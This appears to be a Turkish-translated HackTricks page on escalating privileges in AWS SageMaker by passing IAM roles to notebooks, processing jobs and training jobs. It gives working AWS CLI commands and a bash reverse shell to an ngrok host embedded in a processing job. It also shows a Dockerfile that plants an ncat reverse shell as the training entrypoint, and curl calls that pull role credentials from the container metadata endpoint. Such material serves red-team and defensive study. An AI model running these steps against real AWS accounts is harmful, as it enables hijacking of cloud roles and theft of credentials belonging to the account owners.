AWS - Sagemaker Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM Rolüne erişim için bir not defteri oluşturmaya başlayın ve ona bağlı olan IAM Rolünü kullanın:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Aşağıdaki yanıt, yeni oluşturulan notebook örneğinin ARN'sini içeren NotebookInstanceArn alanını içermelidir. Ardından, notebook örneği hazır olduğunda kullanabileceğimiz bir URL oluşturmak için create-presigned-notebook-instance-url API'sini kullanabiliriz:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Tarayıcıyla URL'ye gidin ve sağ üst köşede Open JupyterLabe tıklayın, ardından "Launcher" sekmesine gidin ve "Other" bölümünde "Terminal" düğmesine tıklayın.

Şimdi IAM Rolünün meta veri kimlik bilgilerine erişmek mümkün.

Potansiyel Etki: Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.

sagemaker:CreatePresignedNotebookInstanceUrl

Eğer üzerinde Jupyter notebook'lar zaten çalışıyorsa ve onları sagemaker:ListNotebookInstances ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız). Önceki teknikte belirtildiği gibi, onlar için bir URL oluşturabilir, erişebilir ve kimlik bilgilerini çalabilirsiniz.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potansiyel Etki: Sagemaker hizmet rolüne ayrıcalık yükseltme.

sagemaker:CreateProcessingJob,iam:PassRole

Bu izinlere sahip bir saldırgan, bir sagemaker rolüne bağlı olarak sagemaker'ın bir işlem işini yürütmesini sağlayabilir. Saldırgan, çalıştırılacak bir AWS yönetilen ECS hesap örneğindeki konteynerin tanımını belirtebilir ve bağlı IAM rolünün kimlik bilgilerini çalabilir.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potansiyel Etki: Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.

sagemaker:CreateTrainingJob, iam:PassRole

Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilir ve üzerine bir rol eklenmiş bir keyfi konteyneri çalıştırabilir. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilir.

Bu senaryo, öncekine göre daha zor sömürülebilir çünkü rev shell veya kimlik bilgilerini doğrudan saldırgana gönderen bir Docker imajı oluşturmanız gerekmektedir (eğitim işinin yapılandırmasında başlangıç komutu belirtemezsiniz).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Bu izinlere sahip bir saldırgan, (potansiyel olarak) bir **hiperparametre eğitim işi** oluşturabilir ve üzerinde bir **rol eklenmiş** bir **keyfi konteyneri çalıştırabilir**.\
_Zaman eksikliği nedeniyle henüz sömürülmüş değil, ancak önceki saldırılara benziyor, sömürü ayrıntılarıyla birlikte PR göndermekten çekinmeyin._

# Referanslar
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>

HackTricks'i desteklemenin diğer yolları:

* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.

</details>

Last updated